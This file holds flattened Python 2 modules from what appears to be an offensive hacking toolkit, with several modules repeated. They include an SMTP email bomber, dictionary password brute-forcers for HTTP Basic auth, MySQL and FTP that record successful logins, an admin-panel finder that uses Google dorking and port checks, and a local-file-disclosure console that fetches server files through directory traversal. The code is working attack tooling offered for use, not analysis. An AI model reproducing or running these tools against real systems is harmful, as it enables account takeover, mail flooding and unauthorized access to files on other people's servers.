def main(run): isLive(init.var['host'],init.var['port']) try: server = smtplib.SMTP(init.var['host'],int(init.var['port'])) if init.var['tls']=="true": server.starttls() server.login(init.var['account'],init.var['pass']) Loadingfile(init.var['file']) with open(init.var['file'],'r') as body: FILE_HTML = "" for read_line in body: FILE_HTML += read_line message = """\From: %s\nTo: %s\nContent-type: text/html\nSubject: %s\n\n%s""" % (init.var['account'],init.var['target'],init.var['subject'],FILE_HTML) try: many=0 while(many < int(init.var['amount'])): many+=1 server.sendmail(init.var['target'], init.var['account'], message) printAlert(0,"#"+str(many)+" E-Mail was sent.") time.sleep(int(init.var['sleep'])) except: printAlert(1,"E-Mail not was sent.") printAlert(3,"Attack Completed.") server.quit() except smtplib.SMTPAuthenticationError: printAlert(1,"Authentication Required or Authentication went wrong.") except: error = str(sys.exc_info()[1]) if error.find("SMTP AUTH extension") >= 0 : printAlert(1,"TLS error, Starting again with TLS.") init.var['tls'] = ["true",False,'TLS Auth'] main(False) # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) Loadingfile(init.var['dict']) PASSWORDS_REC = [] global STATE STATE=False with open(init.var['dict'],'r') as passwords: for password in passwords: password=password.replace("\n","") PASSWORDS_REC.append(password) if int(init.var['threads']) == 0: if request_thread(password):return if len(PASSWORDS_REC) > int(init.var['threads']) and int(init.var['threads']) != 0: for test_password in PASSWORDS_REC: if STATE:return t = threading.Thread(target=request_thread,args=(test_password,)) t.start() time.sleep(int(init.var['sleep'])) PASSWORDS_REC = [] printAlert(4," No Result :c\n")
def main(run): isLive(init.var['target'], init.var['port']) Loadingfile(init.var['dict']) with open(init.var['dict'], 'r') as passwords: for password in passwords: password = password.replace("\n", "") connection = httplib.HTTPConnection(init.var['target'], init.var['port']) header = { "User-agent": RamdonAgent(), "Authorization": "Basic " + base64.b64encode(init.var['user'] + ":" + password) } connection.request("GET", init.var['path'], "", header) response = connection.getresponse() if response.status == 200: printAlert( 3, "Successfully with [" + init.var['user'] + "][" + password + "]\n") saveRegister(init, password) return else: printAlert(0, " | Checking '" + password + "'") printAlert(4, " No Result :c\n") # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'], init.var['port']) Loadingfile(init.var['dict']) PASSWORDS_REC = [] global STATE STATE = False with open(init.var['dict'], 'r') as passwords: for password in passwords: password = password.replace("\n", "") PASSWORDS_REC.append(password) if int(init.var['threads']) == 0: if request_thread(password): return if len(PASSWORDS_REC) > int(init.var['threads']) and int( init.var['threads']) != 0: for test_password in PASSWORDS_REC: if STATE: return t = threading.Thread(target=request_thread, args=(test_password, )) t.start() time.sleep(int(init.var['sleep'])) PASSWORDS_REC = [] printAlert(4, " No Result :c\n")
def main(run): isLive(init.var['target'],HTTP_PORT) w = whois.whois(init.var['target']) wd = w.__dict__ for k, v in wd.items(): print(colors[10]+'%20s\t"%s"' % (k, v)) print colors[0] # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'], init.var['port']) url = "http://" + init.var['target'] + ":" + init.var['port'] + init.var[ 'file'] file_name = url.split('/')[-1] u = urllib2.urlopen(url) printAlert(2, "LFD Console") HelpBanner = [["Commands", "Description", "Example"]] HelpBanner += [["get", "get file", "get file=index.php&dir=../"]] MakeTable(HelpBanner) command = 0 while command != "exit": command = raw_input(ClientPrompt(init.CodeName, "lfd")) if command[:3] == "get": submit = command[4:] url = "http://" + init.var['target'] + ":" + init.var[ 'port'] + init.var['file'] + "?" + submit file_name = url.split('/')[-1] file_create = submit.split('=')[1] u = urllib2.urlopen(url) f = open("tmp/" + file_create, 'w') meta = u.info() file_size = int(meta.getheaders("Content-Length")[0]) if file_size != 0: printAlert(0, "Request " + url) printAlert( 0, "Downloading %s Bytes: %s" % (file_create, file_size)) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8) * (len(status) + 1) printAlert(3, "Completed " + status) f.close() print " \n -------------------------------- File " + file_create + " Size: " + str( file_size) + " \n" os.system("cat 'tmp/" + file_create + "' -b -v ") os.system("rm 'tmp/" + file_create + "'") print " \n -------------------------------- File " + file_create + " Size: " + str( file_size) + " \n" else: printAlert(1, "File empy or no exist.") elif command == "help": MakeTable(HelpBanner) # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'], HTTP_PORT) w = whois.whois(init.var['target']) wd = w.__dict__ for k, v in wd.items(): print(colors[10] + '%20s\t"%s"' % (k, v)) print colors[0] # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'], init.var['port']) Loadingfile(init.var['file']) Totalresults = "" printAlert(5, "[1] Step : Starting Brute Force...") with open(init.var['file'], 'r') as list_path: for path in list_path: path = "/" + path.replace("\n", "") connection = httplib.HTTPConnection(init.var['target'], init.var['port']) connection.addheaders = [('User-agent', RamdonAgent())] connection.request("GET", path) response = connection.getresponse() if response.status == 200 or response.status == 301: printAlert(3, " | Response " + init.var['target'] + path) Totalresults += "\t|" + init.var['target'] + path + "\n" else: printAlert( 0, " | Checking `" + colors[0] + path + "` Response:" + str(response.status)) printAlert(5, "[2] Step : Starting Google Dorking...") connection = httplib.HTTPConnection("www.google.com", 80) connection.request("GET", "/search?q=inurl:admin+site:" + str(init.var['target'])) connection.addheaders = [('User-agent', RamdonAgent())] response = connection.getresponse() soup = BeautifulSoup(response.read(), "lxml") divList = soup.findAll('cite') for ids in divList: printAlert(3, "| Result " + ids.text) Totalresults += "\t | " + ids.text + "\n" printAlert(5, "[3] Step : Scanning Port commons...") commonports = [2082, 2083, 2095, 2096] for port in commonports: printAlert(0, " | Testing Port " + str(port)) if isLive(init.var['target'], port): printAlert(3, " | " + str(port) + " Port Open!") Totalresults += "\t|" + str(port) + " Open! \n" printAlert(0, "[*] Total Result") print Totalresults saveRegister(init, Totalresults) # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) Loadingfile(init.var['dict']) with open(init.var['dict'],'r') as passwords: for password in passwords: password=password.replace("\n","") try: MySQLdb.connect(init.var['target'],init.var['user'],password,'',int(init.var['port'])) if True: printAlert(3,"Successfully with ["+init.var['user']+"]["+password+"]\n") saveRegister(init,password) return except:printAlert(0," | Checking '"+password+"'") printAlert(4," No Result :c\n") # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) url = "http://"+init.var['target']+":"+init.var['port']+init.var['file'] file_name = url.split('/')[-1] u = urllib2.urlopen(url) printAlert(2,"LFD Console") HelpBanner = [["Commands","Description","Example"]] HelpBanner += [["get","get file","get file=index.php&dir=../"]] MakeTable(HelpBanner) command=0 while command!="exit": command=raw_input(ClientPrompt(init.CodeName,"lfd")) if command[:3] == "get": submit=command[4:] url = "http://"+init.var['target']+":"+init.var['port']+init.var['file']+"?"+submit file_name = url.split('/')[-1] file_create = submit.split('=')[1] u = urllib2.urlopen(url) f = open("tmp/"+file_create,'w') meta = u.info() file_size = int(meta.getheaders("Content-Length")[0]) if file_size != 0: printAlert(0,"Request "+url) printAlert(0,"Downloading %s Bytes: %s" % (file_create, file_size)) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer:break file_size_dl += len(buffer) f.write(buffer) status = r"%10d [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) printAlert(3,"Completed "+status) f.close() print " \n -------------------------------- File "+file_create+" Size: "+str(file_size)+" \n" os.system("cat 'tmp/"+file_create+"' -b -v ") os.system("rm 'tmp/"+file_create+"'") print " \n -------------------------------- File "+file_create+" Size: "+str(file_size)+" \n" else:printAlert(1,"File empy or no exist.") elif command == "help":MakeTable(HelpBanner) # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) Loadingfile(init.var['file']) Totalresults="" printAlert(5,"[1] Step : Starting Brute Force...") with open(init.var['file'],'r') as list_path: for path in list_path: path="/"+path.replace("\n","") connection = httplib.HTTPConnection(init.var['target'],init.var['port']) connection.addheaders=[('User-agent', RamdonAgent())] connection.request("GET",path) response = connection.getresponse() if response.status == 200 or response.status == 301: printAlert(3," | Response "+init.var['target']+path) Totalresults+="\t|"+init.var['target']+path+"\n" else:printAlert(0," | Checking `"+colors[0]+path+"` Response:"+str(response.status)) printAlert(5,"[2] Step : Starting Google Dorking...") connection = httplib.HTTPConnection("www.google.com",80) connection.request("GET", "/search?q=inurl:admin+site:"+str(init.var['target'])) connection.addheaders=[('User-agent', RamdonAgent())] response = connection.getresponse() soup = BeautifulSoup(response.read(), "lxml") divList = soup.findAll('cite') for ids in divList: printAlert(3,"| Result "+ids.text) Totalresults+="\t | "+ids.text+"\n" printAlert(5,"[3] Step : Scanning Port commons...") commonports = [2082,2083,2095,2096] for port in commonports: printAlert(0," | Testing Port "+str(port)) if isLive(init.var['target'],port): printAlert(3," | "+str(port)+" Port Open!") Totalresults+="\t|"+str(port)+" Open! \n" printAlert(0,"[*] Total Result") print Totalresults saveRegister(init,Totalresults) # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) Loadingfile(init.var['dict']) with open(init.var['dict'],'r') as passwords: for password in passwords: password=password.replace("\n","") connection = httplib.HTTPConnection(init.var['target'],init.var['port']) header={"User-agent" : RamdonAgent(),"Authorization":"Basic "+base64.b64encode(init.var['user']+":"+password)} connection.request("GET",init.var['path'],"",header) response = connection.getresponse() if response.status == 200: printAlert(3,"Successfully with ["+init.var['user']+"]["+password+"]\n") saveRegister(init,password) return else:printAlert(0," | Checking '"+password+"'") printAlert(4," No Result :c\n") # END CODE MODULE ############################################################################################
def main(run): isLive(init.var['target'],init.var['port']) Loadingfile(init.var['dict']) ftp = FTP() ftp.connect(init.var['target'],int(init.var['port'])) with open(init.var['dict'],'r') as passwords: for password in passwords: password=password.replace("\n","") try: ftp.login(init.var['user'],password) if True: printAlert(3,"Successfully with ["+init.var['user']+"]["+password+"]\n") Space() saveRegister(init,password) return except:printAlert(0," | Checking '"+password+"'") # END CODE MODULE ############################################################################################